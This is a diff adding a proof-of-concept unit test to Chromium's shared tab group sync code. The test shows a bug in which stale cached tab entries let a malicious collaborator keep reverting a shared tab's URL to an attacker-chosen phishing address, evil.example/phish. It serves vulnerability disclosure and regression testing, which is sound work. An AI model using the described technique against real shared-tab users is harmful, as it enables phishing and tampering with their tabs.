diff --git a/components/saved_tab_groups/internal/shared_tab_group_data_sync_bridge_unittest.cc b/components/saved_tab_groups/internal/shared_tab_group_data_sync_bridge_unittest.cc index 1799b62f8702b..759c6ef99d5ba 100644 --- a/components/saved_tab_groups/internal/shared_tab_group_data_sync_bridge_unittest.cc +++ b/components/saved_tab_groups/internal/shared_tab_group_data_sync_bridge_unittest.cc @@ -2483,6 +2483,93 @@ TEST_F(SharedTabGroupDataSyncBridgeTest, ElementsAre(HasTabMetadata("tab title", "http://google.com/1"))); } +// POC: ResolveTabsMissingGroups never erases resolved entries from +// tabs_missing_groups_. Once a tab arrives before its group, the cached stale +// specifics are re-applied on EVERY subsequent ApplyIncrementalSyncChanges +// call, unconditionally overwriting any newer URL/title/attribution via +// SavedTabGroupTab::MergeRemoteTab (which has no timestamp guard). A malicious +// collaborator can permanently lock a shared tab's URL to an attacker-chosen +// value. +TEST_F(SharedTabGroupDataSyncBridgeTest, + POC_StaleTabsMissingGroupsEntryRevertsLaterUpdates) { + const CollaborationId kCollaborationId("collaboration"); + const base::Uuid kGroupGuid = base::Uuid::GenerateRandomV4(); + ASSERT_TRUE(InitializeBridgeAndModel()); + + // --- Step 1: attacker sends a SharedTab entity BEFORE its group exists. --- + syncer::UniquePosition position = GenerateRandomUniquePosition(); + sync_pb::SharedTabGroupDataSpecifics attacker_tab = MakeTabSpecifics( + "attacker title", GURL("https://evil.example/phish"), kGroupGuid, + position); + const std::string tab_guid = attacker_tab.guid(); + ON_CALL(mock_processor(), GetUniquePositionForStorageKey(tab_guid)) + .WillByDefault(Return(position.ToProto())); + + ApplySingleEntityChange( + CreateAddEntityChange(attacker_tab, kCollaborationId)); + // Group doesn't exist yet -> tab is parked in tabs_missing_groups_. + ASSERT_THAT(model()->saved_tab_groups(), IsEmpty()); + + // --- Step 2: the group entity arrives. ResolveTabsMissingGroups runs and + // adds the tab to the model (but does NOT erase it from the map). --- + sync_pb::SharedTabGroupDataSpecifics group_specifics = + MakeTabGroupSpecifics("group", sync_pb::SharedTabGroup::CYAN); + group_specifics.set_guid(kGroupGuid.AsLowercaseString()); + ApplySingleEntityChange( + CreateAddEntityChange(group_specifics, kCollaborationId)); + + ASSERT_THAT(model()->saved_tab_groups(), SizeIs(1)); + ASSERT_THAT(model()->saved_tab_groups().front().saved_tabs(), + ElementsAre(HasTabUrl("https://evil.example/phish"))); + + // --- Step 3: another collaborator (or the victim on another device) sends + // a NEWER remote update for the same tab with a legitimate URL. --- + sync_pb::SharedTabGroupDataSpecifics newer_tab = MakeTabSpecifics( + "legit title", GURL("https://legitimate.example/"), kGroupGuid, position); + newer_tab.set_guid(tab_guid); // same tab entity + newer_tab.set_update_time_windows_epoch_micros( + base::Time::Now().ToDeltaSinceWindowsEpoch().InMicroseconds()); + + ApplySingleEntityChange( + CreateUpdateEntityChange(newer_tab, kCollaborationId)); + + // EXPECTED (correct) behaviour: tab now has the newer legitimate URL. + // ACTUAL (vulnerable) behaviour: inside the same ApplyIncrementalSyncChanges + // call, after the tab update is merged, ResolveTabsMissingGroups() iterates + // the never-erased stale entry, hits ContainsTab=true, and MergeRemoteTab + // unconditionally reverts URL/title/attribution to the cached attacker + // values. This assertion FAILS on the vulnerable build, proving the bug. + EXPECT_THAT(model()->saved_tab_groups().front().saved_tabs(), + ElementsAre(HasTabUrl("https://legitimate.example/"))) + << "BUG: stale tabs_missing_groups_ entry reverted the newer remote " + "update back to the attacker URL"; + + // --- Step 4: victim edits the tab LOCALLY (e.g. navigates it). --- + SavedTabGroupTab local_edit = + model()->saved_tab_groups().front().saved_tabs().front(); + local_edit.SetURL(GURL("https://victim-local-edit.example/")); + local_edit.SetTitle(u"victim local edit"); + model()->UpdateTabInGroup(kGroupGuid, std::move(local_edit), + /*notify_observers=*/true); + ASSERT_THAT(model()->saved_tab_groups().front().saved_tabs(), + ElementsAre(HasTabUrl("https://victim-local-edit.example/"))); + + // --- Step 5: ANY subsequent sync cycle (even an empty / unrelated one) + // re-runs ResolveTabsMissingGroups and reverts the local edit too. --- + // The stale re-apply also fires SavedTabGroupUpdatedFromSync observers, + // pushing the attacker URL back into the UI / open tab. + EXPECT_CALL(mock_model_observer(), + SavedTabGroupUpdatedFromSync(kGroupGuid, _)) + .Times(0); // Correct behaviour: no spurious update should fire. + bridge()->ApplyIncrementalSyncChanges(bridge()->CreateMetadataChangeList(), + syncer::EntityChangeList()); + + EXPECT_THAT(model()->saved_tab_groups().front().saved_tabs(), + ElementsAre(HasTabUrl("https://victim-local-edit.example/"))) + << "BUG: empty sync cycle reverted victim's LOCAL edit back to the " + "attacker URL via stale tabs_missing_groups_ entry"; +} + TEST_F(SharedTabGroupDataSyncBridgeTest, ShouldTrimAllSupportedFieldsFromRemoteTabGroupSpecifics) { ASSERT_TRUE(InitializeBridgeAndModel());